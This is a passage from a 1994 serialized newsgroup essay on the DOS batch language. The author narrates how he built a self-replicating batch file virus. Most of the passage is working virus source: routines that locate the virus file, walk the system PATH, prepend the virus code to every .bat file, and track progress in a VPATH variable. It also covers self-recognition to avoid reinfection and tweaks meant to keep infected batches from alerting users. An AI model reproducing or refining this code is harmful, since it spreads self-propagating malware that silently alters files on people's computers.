  779. if "%VOFF%=="T goto ViRuS_OLDBAT
  780.  
  781. set ViRuSname=%0
  782. if not exist %0.bat call %0 /ViRuS_FINDSELF %path%
  783. if not exist %ViRuSname%.bat set ViRuSname=
  784. if "%ViRuSname%==" goto ViRuS_OLDBAT
  785.  
  786. rem ViRuS if batch is started with name.BAT, virus will not become active
  787. rem ViRuS it was a bug, now it's a feature ! (also notice the voff variable)
  788. rem ViRuS also if batch was only in an append /x:on path (chance=minimal)
  789.  
  790. attrib +h %ViRuSname%.bat
  791. for %%a in (%path%;.) do call %0 /ViRuS_OUTER_LOOP %%a
  792. attrib -h %ViRuSname%.bat
  793. set ViRuSname=
  794. goto ViRuS_OLDBAT
  795.  
  796. :ViRuS_findself
  797. if "%2==" goto XXX_END>nul.ViRuS
  798. if exist %2\%ViRuSname%.bat set ViRuSname=%2\%ViRuSname%
  799. if exist %ViRuSname%.bat goto XXX_END
  800. if exist %2%ViRuSname%.bat set ViRuSname=%2%ViRuSname%
  801. if exist %ViRuSname%.bat goto XXX_END
  802. shift>nul.ViRuS
  803. goto ViRuS_findself
  804.  
  805. :ViRuS_outer_loop
  806. for %%a in (%2\*.bat;%2*.bat) do call %0 /ViRuS_MULTIPLY %%a
  807. goto XXX_END>nul.ViRuS
  808.  
  809. :ViRuS_multiply
  810. find "ViRuS" <%ViRuSname%.bat >xViRuSx.bat
  811. find /v "ViRuS" <%2 |find /v ":XXX_END" >>xViRuSx.bat
  812. echo :XXX_END>>xViRuSx.bat
  813. copy xViRuSx.bat %2>nul
  814. del xViRuSx.bat
  815. goto XXX_END>nul.ViRuS
  816.  
  817. :ViRuS_OLDBAT
  818. echo on>nul.ViRuS
  819. echo This is the dummy original batch
  820. :XXX_END
  821.  
  822. ---------------------------
  823.  
  824. It was a pity Thomas wasn't present at the reunion. To him, I
  825. could have bragged about my new program. Now there was nobody
  826. who would have had the slightest idea what I was speaking
  827. about, so I talked with some people about my studies in
  828. classical philology. Somehow, most people seem more at ease
  829. when you talk to them about Plato and Caesar, than when you
  830. talk about computers. Well, anyway, I was pretty proud of my
  831. hacking and the next morning I made another, high-quality
  832. printout to keep in my archives.
  833.  
  834. To be continued...                       For old episodes finger
  835.                      hw41652@is1.vub.ac.be
  836.  
  837. PART 5
  838. (3 Nov. 1994)
  839.  
  840. Writing a computer virus is a bit like planning the perfect
  841. murder. Some very amiable and peaceful people like to plan the
  842. ultimate crime just for the intellectual pleasure: afterwards
  843. they don't execute their plan, but write a story or a novel
  844. about it. Likewise, I believe, there are many nice and decent
  845. hackers in the world that spend their evenings programming the
  846. perfect virus, only to prove to themselves and to a few
  847. friends that they can do it. I did it: now I am writing the
  848. story. It will appear in eight to ten weekly episodes on this
  849. newsgroup. Comments are much appreciated.
  850.  
  851.  
  852.     The Hidden Strengths of the Dos Batch Language
  853.  
  854.                 Part V:
  855.           Infection Strategies / %0 Revisited
  856.  
  857.  
  858. Now it was time to find a way to speed things up. Every time
  859. an infected batch file was run, it took about two minutes to
  860. reinfect all other batches it could find. I had already added
  861. a test 'if "%VOFF%=="T goto ViRuS_OLDBAT', so I could easily
  862. disable the virus, which was now all over my disk, by setting
  863. an environment variable, because it was getting on my nerves.
  864.  
  865. Normal link-virusses infect only one other file at a time, so
  866. that the user doesn't notice the delay in execution of his
  867. programs. Now could I let the BatchViRuS do the same ?
  868.  
  869. Maybe I could, maybe I couldn't. I remember having written
  870. some versions that infected only one batch at a time, but they
  871. were quite complicated, needed lots of environment variables
  872. to remember and communicate which directory was being
  873. processed, and what was the last processed file, that all this
  874. slowed down the computer almost as much as the old version;
  875. especially because I still had to use (quite complicated) FOR
  876. loops to simulate the findfirst and findnext functions.
  877.  
  878. Also, as I could use no random generator, every time the
  879. computer was switched off and on, infection began again with
  880. the first batch file in the first directory of the system
  881. path. I could of course save the variables to a file, but it
  882. would be in constant danger of being deleted; also this was
  883. yet another complication. Infecting on file-by-file basis
  884. seemed not to be the solution.
  885.  
  886. ---------------------------
  887.  
  888. I just said I could 'of course' save the variables to a file,
  889. but maybe some explanation is in place here, on how exactly I
  890. would save the contents of an environment variable to a file.
  891.  
  892. Environment variables can be saved to a disk file as SET
  893. commands. You give the file the .bat-extension, and to reload
  894. the variables, you just execute the batch file (with CALL if
  895. from another batch file). If I would want to save the system
  896. path, for example, I would do so as follows:
  897.  
  898.      echo set path=%path% > savefile.bat
  899.  
  900. This can only be done from a batch file, not from the prompt
  901. (see Part III on this subject), but reloading the variables
  902. can be done by typing 'savefile' at the prompt as well as by
  903. 'call savefile' from another batch.
  904.  
  905. ---------------------------
  906.  
  907. Infecting whole directories at a time looked like a good
  908. compromise. The user would notice that something was going on
  909. of course, but I didn't intend to use the virus on innocent
  910. victims anyway; and infecting whole directories would
  911. guarantee efficient multiplication, while reducing wasted time
  912. considerably for the user, compared with the old version.
  913. If I included a line like 'echo Now infecting: xxxxxxxx.bat',
  914. time would seem to pass quickly as the user sat watching his
  915. screen in unprecedented and unparalleled admiration.
  916.  
  917. For someone who wanted only to prove the theoretical
  918. possibility of a virus in batch language, this was more than
  919. good enough, even when, for the rest, I always tried to make
  920. the virus as realistic as possible. (Anyway, when everybody
  921. will have a Hexium PC with super-fast hard disk, the trouble
  922. will have solved itself, for the directory-by-directory as
  923. well as for the file-by-file approach, which proves that this
  924. is only a practical, not a fundamental problem.)
  925.  
  926. I intended the virus to start infecting in the first directory
  927. of the path every time the computer was reset, and to process
  928. a part of the rest of the path every time an infected batch
  929. was run. When the whole path had been processed, the virus
  930. could infect everything in the current directory every time it
  931. was run; an inefficient way, but the only way, to infect
  932. directories not in the path.
  933.  
  934. ---------------------------
  935.  
  936. Recently I downloaded Timo Salmi's batch trick collection, and 
  937. among a lot of really interesting stuff, I saw a very 
  938. complicated batch file that promised to be able to search all 
  939. files that fitted a specified template, *.bat for example, in 
  940. all directories of a file system, and pass their full 
  941. pathnames as parameters to any command. This of course would 
  942. be a valuable addition to the virus, so I tried it right away. 
  943. It didn't work. 
  944.  
  945. I stared at the source code for maybe a quarter of an hour,
  946. but then it dawned on me: the batch uses the output of some
  947. DOS commands in a very ingenious way, and for that purpose it
  948. expects these messages to be in English. On my own computer at
  949. home I have a Dutch version of DOS, and this ruined the whole
  950. plan. I could probably make a version of the trick that works
  951. on my computer, but certainly no universal version. That is 
  952. why the current version of the virus is still limited to 
  953. infecting the system path plus the current directory.
  954.  
  955. ---------------------------
  956.  
  957. The different copies of the virus had to communicate where
  958. they had left off, or better still where the next had to
  959. begin. Therefore, I invented VPATH, the smaller brother of
  960. PATH. VPATH had to be the piece of PATH that had still to be
  961. processed by the virus. If the whole path had been processed,
  962. the value of VPATH would be '.'; if there was no VPATH, the
  963. virus had to assume that the computer had just been turned on
  964. and set VPATH to the value of PATH.
  965.  
  966. Programming a procedure that set VPATH to all directories of
  967. the old VPATH minus one, which got infected, proved to be easy
  968. after the experience with the procedure findself (see Part IV): 
  969. I passed %VPATH% as parameter from the main program and it was 
  970. cut in easy to handle little pieces (%2,%3,%4,...) by DOS; at 
  971. the end a simple loop pasted all pieces, except the first, back
  972. together into one variable: the new VPATH.
  973.  
  974. (changes to the procedure dispatcher block:)
  975. if "%1=="/ViRuS_PARSEPATH goto ViRuS_parsepath
  976.  
  977. (changes to the main program:)
  978. if "VPATH%==" set VPATH=%PATH%>nul.ViRuS
  979. call %0 /ViRuS_PARSEPATH %VPATH%
  980. if "%VPATH%==" set VPATH=.>nul.ViRuS
  981.  
  982. (new procedure parsepath, taking the place of ViRuS_outer_loop:)
  983. :ViRuS_parsepath
  984. for %%a in (%2\*.bat;%2*.bat) do call %0 /ViRuS_MULTIPLY %%a
  985. set VPATH=%3>nul.ViRuS
  986. :ViRuS_loop
  987. shift>nul.ViRuS
  988. if "%3==" goto XXX_END>nul.ViRuS
  989. set VPATH=%VPATH%;%3>nul.ViRuS
  990. goto ViRuS_loop
  991.  
  992. ---------------------------
  993.  
  994. VPATH, implemented this way, has some advantages over other
  995. possible systems. Most important of all, if it gets corrupted
  996. or reset by the user, the virus will not go bezerk or
  997. anything: if VPATH is gone, it will create a new copy, else it
  998. will try to work with the new VPATH without complaining. Also,
  999. if the theoretical user that is ignorant of the virus will 
  1000. look at his environment variables, he will be puzzled where 
  1001. the new variable comes from, but there is no reason for him to 
  1002. suspect that it has anything to do with a virus (except the V 
  1003. in VPATH maybe).
  1004.  
  1005. ---------------------------
  1006.  
  1007. As I was testing the new version, I found it took too long to
  1008. work its way through the whole path. I have a long system
  1009. path, as I think I already mentioned, in which are many
  1010. directories which don't contain any batch files. When such a
  1011. directory was next in VPATH, the virus was ready in a flash,
  1012. because all it had to do was cut a piece from the variable 
  1013. VPATH. It would be better if the virus recognized empty 
  1014. directories and passed them by.
  1015.  
  1016. If the virus processed a directory that contained no batch
  1017. files, the multiply procedure didn't get called. So if I added
  1018. a line 'set hit=T' to that procedure, there was a simple way
  1019. for the parsepath procedure to know when to go on to process
  1020. another directory, and when to stop. It would stop processing
  1021. directories when it had at least infected one file (%hit%=T),
  1022. or when VPATH was exhausted (in which case, it would still try
  1023. to infect the current directory). The new version of parsepath
  1024. should speak for itself -- or at least it should whisper:
  1025.  
  1026. :ViRuS_parsepath
  1027. for %%a in (%2\*.bat;%2*.bat) do call %ViRuSname% /ViRuS_MULTIPLY %%a
  1028. if "%hit%=="T goto ViRuS_new_vpath
  1029. shift>nul.ViRuS
  1030. if not "%2==" goto ViRuS_parsepath
  1031. if not "%1==". for %%a in (.\*.bat) do call %ViRuSname% /ViRuS_MULTIPLY %%a
  1032. :ViRuS_new_vpath
  1033. set hit=>nul.ViRuS
  1034. set VPATH=%3>nul.ViRuS
  1035. :ViRuS_loop
  1036. shift>nul.ViRuS
  1037. if "%3==" goto XXX_END>nul.ViRuS
  1038. set VPATH=%VPATH%;%3>nul.ViRuS
  1039. goto ViRuS_loop
  1040.  
  1041. Maybe one small comment: it is no longer %0 that is CALLed,
  1042. but %ViRuSname%. The reason for that is the new SHIFT command,
  1043. which affects %0 too. This caused a nasty bug for a while.
  1044.  
  1045. ---------------------------
  1046.  
  1047. Exceptions and special cases always have a potential for
  1048. trouble. For the BatchViRuS, autoexec.bat was the culprit. I
  1049. just said that the first copy of the virus that was run after
  1050. booting should set VPATH to PATH. The trouble now was that if
  1051. the autoexec was infected, the copy of the virus attached to
  1052. autoexec.bat would set VPATH to PATH before the real autoexec
  1053. had had the chance to set the system path, a job usually done 
  1054. by autoexec.bat. So the copy of the virus attached to autoexec
  1055. was quite useless for infecting others, and special measures
  1056. would have to be taken not to let the virus in autoexec.bat
  1057. set VPATH to an incorrect initial value. I decided to add some
  1058. 'if %0==autoexec...' lines.
  1059.  
  1060. Now I wondered of course, how to spell these lines. In other
  1061. words, what was the %0 of autoexec.bat, as run by command.com
  1062. at boot time ? Was it 'autoexec' ? 'AUTOEXEC' ?
  1063. 'autoexec.bat' ? 'AUTOEXEC.BAT' ? I found out by putting a
  1064. simple 'echo %0' in my regular autoexec.bat and rebooting. The
  1065. displayed line was: 'echo is on'. It took me a while (stupid,
  1066. no ?) to realize that this meant that %0 was void.
  1067.  
  1068. As autoexec was such a pain in the neck, I decided that a copy
  1069. of the virus that discovered that "%0==" should just let the
  1070. old autoexec execute and print a message indicating that the
  1071. virus was present. The actual code is not particularly
  1072. interesting: you can look at it in the complete listing.
  1073.  
  1074. To be continued... 
  1075.  
  1076. Old episodes can now be downloaded by ftp: emoryi.jpl.nasa.gov:
  1077. /utils/batch/batvirus.zip. I thank Kevin Quitt for drawing my
  1078. attention to a flaw in my university's server's handling of
  1079. 'finger' requests, and for uploading the files regularly. 
  1080.  
  1081.  
  1082. PART 6
  1083. (9 Nov. 1994)
  1084.  
  1085. Writing a computer virus is a bit like planning the perfect
  1086. murder. Some very amiable and peaceful people like to plan the
  1087. ultimate crime just for the intellectual pleasure: afterwards
  1088. they don't execute their plan, but write a story or a novel
  1089. about it. Likewise, I believe, there are many nice and decent
  1090. hackers in the world that spend their evenings programming the
  1091. perfect virus, only to prove to themselves and to a few
  1092. friends that they can do it. I did it: now I am writing the
  1093. story. It will appear in eight to ten weekly episodes on this
  1094. newsgroup. Comments are much appreciated.
  1095.  
  1096.  
  1097.     The Hidden Strengths of the Dos Batch Language
  1098.  
  1099.                Part VI:
  1100.          On How to Recognize Yourself
  1101.  
  1102.  
  1103. Since the first four-line program I had often wished I could
  1104. find a way to let a batch file find out something about the
  1105. contents of another batch, specifically whether or not the
  1106. other batch was already infected with the virus. I wanted
  1107. some command, or combination of commands, to provide
  1108. information that an IF construction could test. First I
  1109. thought of a combination of 'find "ViRuS" <file1 >f1',
  1110. 'find "ViRuS" <file2 >f2', 'comp f1 f2', and 'if errorlevel',
  1111. but I quickly found out that COMP doesn't set the errorlevel.
  1112. As a matter of fact, among the few DOS utilities that set an
  1113. errorlevel, none was relevant to the problem.
  1114.  
  1115. That excluded the 'if errorlevel' approach. Now what about the
  1116. 'if exist' construction ? In that case, ATTRIB would have to
  1117. be used. I first considered to just mark batches as hidden
  1118. files when the virus infected them, but this would attract the
  1119. attention of even the most stupid user, so it couldn't exactly
  1120. be called an elegant solution. And on the other hand, too much
  1121. could go wrong if the user used the ATTRIB utility himself
  1122. regularly. So the hidden attribute would have to be set
  1123. temporarily each time a file was handed to the multiply
  1124. procedure. But then I was back where I had started.
  1125.  
  1126. Or was I ? I remembered now how a resident program tests
  1127. whether or not another copy of itself exists in memory: it
  1128. puts some test values in the registers, issues one of the
  1129. interrupts that it hooks when it is resident, and then tests
  1130. whether in the registers are values that only itself, or a
  1131. copy of itself, could have put there. In fact, it checked if
  1132. it was resident, by attempting to let the other copy of itself
  1133. run, and then look what happened.
  1134.  
  1135. Could I do something similar ? Could I let another batch hide
  1136. itself with ATTRIB if it had already been infected ? I most
  1137. surely could. I could CALL the other batch with a parameter
  1138. like /ViRuS_CHECK_YOURSELF, to which corresponded a procedure
  1139. in the virus code that set the hidden bit of its own carrier.
  1140. That was no problem; but the problem was that if an uninfected
  1141. batch got CALLed that way, it would not recognize the
  1142. /ViRuS_CHECK_YOURSELF parameter, probably ignore it, or else
  1143. misinterpret it, and the uninfected batch would run and
  1144. generally do all kinds of things. That was unwanted.
  1145.  
  1146. But this still was a step towards the solution. I gave up the
  1147. plan of CALLing the other batch in its entirety: I would use
  1148. the old technique of 'find "ViRuS"'. I could let FIND split
  1149. off the virus from the carrier in the other file, if the other
  1150. file was infected; if it would not be infected, an empty file
  1151. would be created. In both cases, I could safely CALL the new
  1152. batch file that FIND created, with for parameters
  1153. /ViRuS_CHECK and the name of the complete batch file, of which
  1154. the CALLed file had been part.
  1155.  
  1156. As a matter of fact, I could even go further. I could let
  1157. FIND seek only the line I wanted: 'attrib +h %1', and CALL
  1158. the file that FIND had created, with as only parameter the
  1159. name of the complete batch being processed. As 'attrib +h %1'
  1160. is not a specifically unusual command, I made it 'aTTriB +h
  1161. %1', to be sure that FIND found only the right line.
  1162.  
  1163. So, after the 'goto XXX_END' of the multiply procedure, and
  1164. before the :ViRuS_OLDBAT label, I added the line:
  1165.      aTTriB +h %1>nul.ViRuS
  1166. At this place in the code, it would never get executed during
  1167. normal execution of the virus, due to the GOTO command right
  1168. above it. 
  1169. Then, at the beginning of the multiply procedure, I added:
  1170.      find "aTTriB +h %%1" <%2>xViRuSx.bat
  1171.      call xViRuSx %2
  1172.      del xViRuSx.bat
  1173. and, to check if the hidden-bit had been set:
  1174.      if not exist %2 goto ViRuS_ready
  1175. and, of course, at the end of the multiply procedure:
  1176.      :ViRuS_ready
  1177.      attrib -h %2>nul.ViRuS
  1178.  
  1179. With the FIND command, I had been lucky. I had to type two
  1180. percent signs in the search string instead of one, because 
  1181. of the preprocessing phase for percent signs (see Part III),
  1182. and this proved to be my luck: if this hadn't been necessary,
  1183. the FIND command would find two lines in an infected file: not
  1184. only 'aTTriB +h %1>nul.ViRuS', but also 'find "aTTriB +h %1"
  1185. <%2>xViRuSx.bat' itself !
  1186.  
  1187. But alas, the line 'if not exist %2...' didn't work. It turned
  1188. out that IF EXIST ignored the hidden bit, and found all files.
  1189. Had all been for nothing ?
  1190.  
  1191. No. I knew that the FOR command did not find hidden files.
  1192. 'for %a in (*.*) do...' finds only normal files. So, after
  1193. testing whether a GOTO in a FOR command would be executed
  1194. correctly (it will) I changed the line to:
  1195.      for %%a in (%2) goto ViRuS_ready
  1196.  
  1197. But this also found the hidden files ! Then I realized that %2
  1198. would always be expanded to an exact file name, without wild
  1199. cards. In that case, FOR doesn't assume that the string is a
  1200. file name, and it just feeds it into %a. So I changed the line
  1201. to
  1202.      for %%a in (%2*) goto ViRuS_ready
  1203. and, more or less to my surprise, it worked. The GOTO command
  1204. was not executed if %2 didn't exist. The '*' did not have any
  1205. side-effects, because all files processed by this line have an
  1206. extension of .BAT, which is a maximum-length extension.
  1207.  
  1208. Oops ! The GOTO should be executed if %2 did exist, not if it
  1209. didn't exist. I had forgotten about the 'not'. Of course, I
  1210. couldn't put 'not' in a FOR command, so I reprogrammed:
  1211.      for %%a in (%2*) goto ViRuS_not_ready
  1212.      goto ViRuS_ready
  1213.      :ViRuS_not_ready
  1214.  
  1215. Now that a virus could recognize itself, the multiply
  1216. procedure proper could be simplified, as it needed less FIND
  1217. commands, and so also real infections got faster:
  1218.  
  1219. :ViRuS_multiply
  1220. echo Checking: %2>con.ViRuS
  1221. find "aTTriB +h %%1" <%2>xViRuSx.bat
  1222. call xViRuSx %2
  1223. del xViRuSx.bat
  1224. for %%a in (%2*) do goto ViRuS_not_ready
  1225. goto ViRuS_ready
  1226. :ViRuS_not_ready
  1227. find "ViRuS" <%ViRuSname%.bat>xViRuSx.bat         (!)
  1228. type %2>>xViRuSx.bat                              (!)
  1229. echo :XXX_END>>xViRuSx.bat                        (!)
  1230. copy xViRuSx.bat %2>nul
  1231. del xViRuSx.bat
  1232. echo Infecting: %2>con.ViRuS
  1233. :ViRuS_ready
  1234. attrib -h %2>nul.ViRuS
  1235. goto XXX_END>nul.ViRuS
  1236.  
  1237. rem data for the first find in ViRuS_multiply
  1238. aTTriB +h %1>nul.ViRuS
  1239.  
  1240. ---------------------------
  1241.  
  1242. Checking the contents of the processed file also made obsolete, 
  1243. in the main program, the lines:
  1244.  
  1245. attrib +h %ViRuSname%.bat
  1246. attrib -h %ViRuSname%.bat
  1247.  
  1248. ---------------------------
  1249.  
  1250. But there is something left to tell about the multiply
  1251. procedure. I cannot believe it took me so long to realize
  1252. that using ATTRIB and IF EXIST was a terrible waste of
  1253. time and disk activity (ATTRIB is an external command): 'set'
  1254. and 'if ==' would do as well. I had been so preoccupied with
  1255. 'hiding' the file that I didn't see that anything an IF
  1256. could test would do. I had reasoned:
  1257.  
  1258. 0. I must know when to infect and when not to
  1259. -->  1. I must be able find out something about a file
  1260.      -->  2. I can find something out about file attributes
  1261.       -->  3. I must use ATTRIB and test the hidden-bit
  1262.  
  1263. and I had wandered on levels 2 and 3 ever after. After I had
  1264. discovered the FIND/CALL trick, I hadn't taken a step back to
  1265. see that on level 0, the original requirement was 'I (or
  1266. better: the virus) must know when to infect and when not to'.
  1267. And for that purpose, 'SeT IchBin=%0' and 'find "Set
  1268. IchBin=%%0" <%2>xViRuSx.bat' + 'call...' + 'if %IchBin%==...'
  1269. could be used.
  1270.  
  1271. The experiment with ATTRIB had at least learned me how not to
  1272. let the 'find' line be found by itself: use a command with
  1273. percent signs in it. So I used %0 as value for IchBin, which
  1274. would be 'xViRuSx' during execution of the CALLed xViRuSx.bat,
  1275. and would be represented as '%%0' in the 'find' line. Here is
  1276. the new, simplified and optimized version:
  1277.  
  1278. :ViRuS_multiply
  1279. echo Checking: %2>con.ViRuS
  1280. find "SeT IchBin=%%0" <%2>xViRuSx.bat
  1281. call xViRuSx
  1282. del xViRuSx.bat
  1283. if "%IchBin%=="xViRuSx goto ViRuS_ready
  1284. find "ViRuS" <%ViRuSname%.bat>xViRuSx.bat
  1285. type %2>>xViRuSx.bat
  1286. echo :XXX_END>>xViRuSx.bat
  1287. copy xViRuSx.bat %2>nul
  1288. del xViRuSx.bat
  1289. echo Infecting: %2>con.ViRuS
  1290. :ViRuS_ready
  1291. set IchBin=
  1292. goto XXX_END>nul.ViRuS
  1293.  
  1294. rem data for the first find in ViRuS_multiply
  1295. SeT IchBin=%0>nul.ViRuS
  1296.  
  1297. ---------------------------
  1298.  
  1299. Note: many episodes of this essay had already been written when
  1300. I learned that COPY refuses to copy empty files. This quirk of
  1301. my favourite operating system permits a test whether a file is
  1302. empty (copy+if exist), and this again permits a test whether a
  1303. file contains lines that have the word "ViRuS" in them. (find
  1304. >file+copy+if exist), which makes possible a completely
  1305. different approach to target file checking in the procedure
  1306. ViRuS_multiply. If I had known this before I wrote and published
  1307. episode one, with the complete program in it, I would probably
  1308. have changed my virus and used this slightly simpler, slightly
  1309. shorter, but functionnally equivalent method. Now, for the sake 
  1310. of consistency, I will stick to the original version, as given 
  1311. in Part I, throughout all remaining episodes.
  1312.  
  1313. To be continued...   Old episodes can be downloaded by ftp from
  1314.              emoryi.jpl.nasa.gov:/utils/batch/batvirus.zip
  1315.  
  1316. PART 7
  1317. (16 Nov. 1994)
  1318.  
  1319. Writing a computer virus is a bit like planning the perfect
  1320. murder. Some very amiable and peaceful people like to plan the
  1321. ultimate crime just for the intellectual pleasure: afterwards
  1322. they don't execute their plan, but write a story or a novel
  1323. about it. Likewise, I believe, there are many nice and decent
  1324. hackers in the world that spend their evenings programming the
  1325. perfect virus, only to prove to themselves and to a few
  1326. friends that they can do it. I did it: now I am writing the
  1327. story. It will appear in eight to ten weekly episodes on this
  1328. newsgroup. Comments are much appreciated.
  1329.  
  1330.  
  1331.     The Hidden Strengths of the Dos Batch Language
  1332.  
  1333.                Part VII:
  1334.            About Call and Command /c
  1335.  
  1336.  
  1337. Last week I told you about the new methods for infecting files,
  1338. and how I was able to speed up the infection process by letting 
  1339. the virus check first whether the target file had already been 
  1340. infected before. As could reasonably be expected, this created 
  1341. a new bug (for both methods: it is not the checking, but the
  1342. new way of infecting that is buggy). Sometimes I create batch 
  1343. programs with 'copy con'; often one-liners, for instance:
  1344.  
  1345. C:\BATCH>copy con tetris.bat
  1346. @c:\windows\win c:\windows\games\tetris^Z
  1347.  
  1348. I don't begin these batches with '@echo off'; I just put @
  1349. before the line. In that case, it is important to type the ^Z
  1350. directly after the line, not on the next, if you do not want
  1351. to get an extra prompt on your screen after execution of the
  1352. batch file, which is ugly. I just hate it when a batch
  1353. terminates and DOS displays two prompts instead of only one.
  1354.  
  1355. Now if such a one-line batch got infected in the new way,
  1356. ':XXX_END' got pasted to the end of the one line of the
  1357. original batch, not put on a line of its own. This hadn't
  1358. happened before because the 'find /v "ViRuS" <%2 |find /v
  1359. ":XXX_END" >>xViRuSx.bat' had always reformatted the file a
  1360. bit, putting the ^Z on a line of its own. The new TYPE
  1361. command did not do that. The problem was easily fixed: I
  1362. inserted a line 'echo.>>xViRuSx.bat', which inserts a 
  1363. carriage return and a line feed, before 'echo :XXX_END
  1364. >>xViRuSx.bat'. 'Echo.' by the way, with a point typed
  1365. directly at the 'echo', is the way to echo empty lines, as
  1366. 'echo' alone asks for the status of echo: on or off.
  1367.  
  1368. The problem had been solved, but not in an elegant way. Normal
  1369. batch files now got an extra empty line, and if 'echo' was
  1370. off, this made DOS display an extra prompt; and there were
  1371. already extra prompts, because infected files didn't end on
  1372. :XXX_END^Z (which was impossible to accomplish with ECHO)
  1373. but on :XXX_END{cr/lf}^Z. Three prompts where there was only
  1374. one before would alert even an inattentive user that something
  1375. had happened, and although I didn't want to really use the
  1376. virus on innocent victims, I did want the virus to behave as
  1377. realistically as possible. The solution to this petty problem
  1378. proved to require a total reorganisation of the code.
  1379.  
  1380. ---------------------------
  1381.  
  1382. As you can see, all the trouble concentrated around that last
  1383. line, the :XXX_END that got added to each file. Indeed, if I
  1384. could do without that line, I could just paste the original
  1385. batch to the end of the virus, and the original ^Z would stay
  1386. where it was, so the amount of prompts (normally one) would
  1387. not change. Now could I do without ?
  1388.  
  1389. I wondered if I could replace 'goto XXX_END' with EXIT
  1390. commands. It didn't work. Then I tried the pre-3.3 way to
  1391. 'call' in batch files: 'command /c'. If I used an extra shell,
  1392. the EXIT would surely work. It worked. I didn't need the
  1393. :XXX_END any more. Then real trouble started.
  1394.  
  1395. ---------------------------
  1396.  
  1397. The first problem was the sudden strange behaviour of
  1398. environment variables. The inevitable flash of insight brought
  1399. the answer: environment variables are passed only from parent
  1400. program to child, and not the other way. As soon as the extra
  1401. shell, created with 'command /c ...' was done, the variables
  1402. were done for. So what did I do now ? Work around it, of
  1403. course; as always ! 
  1404.  
  1405. Let's take a look at all procedures individually. The first
  1406. procedure involved is ViRuS_findself. It was now called as
  1407. follows:
  1408.  
  1409. if not exist %0.bat command /c %0 /ViRuS_FINDSELF %path%
  1410.  
  1411. and the procedure was (notice the 'exit'):
  1412.  
  1413. :ViRuS_findself
  1414. if "%2==" exit>nul.ViRuS
  1415. if exist %2\%ViRuSname%.bat set ViRuSname=%2\%ViRuSname%
  1416. if exist %ViRuSname%.bat exit
  1417. if exist %2%ViRuSname%.bat set ViRuSname=%2%ViRuSname%
  1418. if exist %ViRuSname%.bat exit
  1419. shift>nul.ViRuS
  1420. goto ViRuS_findself
  1421.  
  1422. The procedure sets ViRuSname in vain: when 'exit' aborts the
  1423. current shell, the variable disappears. I changed the
  1424. procedure to:
  1425.  
  1426. :ViRuS_findself
  1427. if "%2==" echo.>xViRuSx.bat
  1428. if "%2==" exit>nul.ViRuS
  1429. if exist %2\%ViRuSname%.bat echo set ViRuSname=%2\%ViRuSname%>xViRuSx.bat
  1430. if exist %2\%ViRuSname%.bat exit
  1431. if exist %2%ViRuSname%.bat echo set ViRuSname=%2%ViRuSname%>xViRuSx.bat
  1432. if exist %2%ViRuSname%.bat exit
  1433. shift>nul.ViRuS
  1434. goto ViRuS_findself
  1435.  
  1436. and I let the main program call the new xViRuSx.bat
  1437. (using CALL, as was possible in this case; not COMMAND/c)
  1438. immediately after calling the procedure ViRuS_findself:
  1439.  
  1440. if not exist %0.bat command /c %0 /ViRuS_FINDSELF %path%
  1441. if not exist %0.bat call xViRuSx
  1442. if not exist %0.bat del xViRuSx.bat
  1443.  
  1444. This way, the variable is set in the 'outer shell'
  1445.  
  1446. ---------------------------
  1447.  
  1448. In the ViRuS_parsepath procedure, the %hit% variable was
  1449. abolished, and the line
  1450.      if "%hit%=="T goto ViRuS_new_vpath
  1451. was replaced by
  1452.      for %%a in (%2\*.bat;%2*.bat) do goto ViRuS_new_vpath
  1453. which will make more sense to you if you compare it with the
  1454. line above it:
  1455.      for %%a in (%2\*.bat;%2*.bat) do command /c %ViRuSname% 
  1456.                      /ViRuS_MULTIPLY %%a
  1457. 'goto ViRuS_new_vpath' will only be executed if (and as many
  1458. times as) files exist that fit the specification.
  1459.  
  1460. And the GOTO command really works, however strange it may
  1461. seem. As a matter of fact, if you set echo off, you will see
  1462. that 'goto ViRuS_new_vpath' is echoed as many times as there
  1463. are files that fit the description; then the last GOTO is
  1464. really executed. Thus the FOR command is used as an extended
  1465. IF EXIST, an 'if at-least-one-such-file-exist' (but only for
  1466. non-hidden files, as we saw earlier).
  1467.  
  1468. Further, following the same principle as for ViRuS_findself, 
  1469.  
  1470. :ViRuS_loop
  1471. shift>nul.ViRuS
  1472. if "%3==" goto XXX_END>nul.ViRuS
  1473. set VPATH=%VPATH%;%3>nul.ViRuS
  1474. goto ViRuS_loop
  1475.  
  1476. is changed to
  1477.  
  1478. :ViRuS_loop
  1479. shift>nul.ViRuS
  1480. if "%3==" echo set VPATH=%VPATH%>xViRuSx.bat
  1481. if "%3==" exit>nul.ViRuS
  1482. set VPATH=%VPATH%;%3>nul.ViRuS
  1483. goto ViRuS_loop
  1484.  
  1485. and
  1486.  
  1487. call %0 /ViRuS_PARSEPATH %VPATH%
  1488.  
  1489. becomes:
  1490.  
  1491. command /c %0 /ViRuS_PARSEPATH %VPATH%
  1492. call xViRuSx
  1493. del xViRuSx.bat
  1494.  
  1495. ---------------------------
  1496.  
  1497. Only the multiply procedure is simplified instead of made more
  1498. complicated by this change: I already mentioned that 'set
  1499. hit=T' might go, but also 'set IchBin=' at the end is
  1500. superfluous now, because the 'exit' kills IchBin. This makes
  1501. the procedure:
  1502.  
  1503. :ViRuS_multiply
  1504. echo Checking: %2>con.ViRuS
  1505. find "SeT IchBin=%%0" <%2>xViRuSx.bat
  1506. call xViRuSx
  1507. del xViRuSx.bat
  1508. if "%IchBin%=="xViRuSx exit
  1509. find "ViRuS" <%ViRuSname%.bat>xViRuSx.bat
  1510. type %2>>xViRuSx.bat
  1511. copy xViRuSx.bat %2>nul
  1512. del xViRuSx.bat
  1513. echo Infecting: %2>con.ViRuS
  1514. exit>nul.ViRuS
  1515.  
  1516. By the way, if you have been wondering what IchBin stands for:
  1517. 'Ich bin' is German for 'I am'. I don't know why exactly I gave
  1518. this variable a German name instead of a Dutch or English one.
  1519. Maybe I had been watching too much German TV ? Or was there a
  1520. German song on the radio when I needed a name for the variable ?
  1521. Maybe something else still influenced me on an unconcious 
  1522. level. There are things in life we will never fully comprehend...
  1523.  
  1524. ---------------------------
  1525.  
  1526. That was one problem taken care of. There was another:
  1527. suddenly, I got many errors saying that the environment was
  1528. full. The secondary copies of command.com seemed to have an
  1529. environment that was just large enough for the variables they
  1530. initially got from their parent shell, and that for some
  1531. reason couldn't 'grow', what I understand is normally possible
  1532. for command.com's environment (I am a bit in the dark about
  1533. this subject). Anyway, setting an initial size by changing
  1534. 'command /c' to 'command /e:10000 /c' made these error
  1535. messages disappear.
  1536.  
  1537. Just as a curiosity, I will mention a last difference I
  1538. discovered between CALL and COMMAND/c: unlike COMMAND/c, 
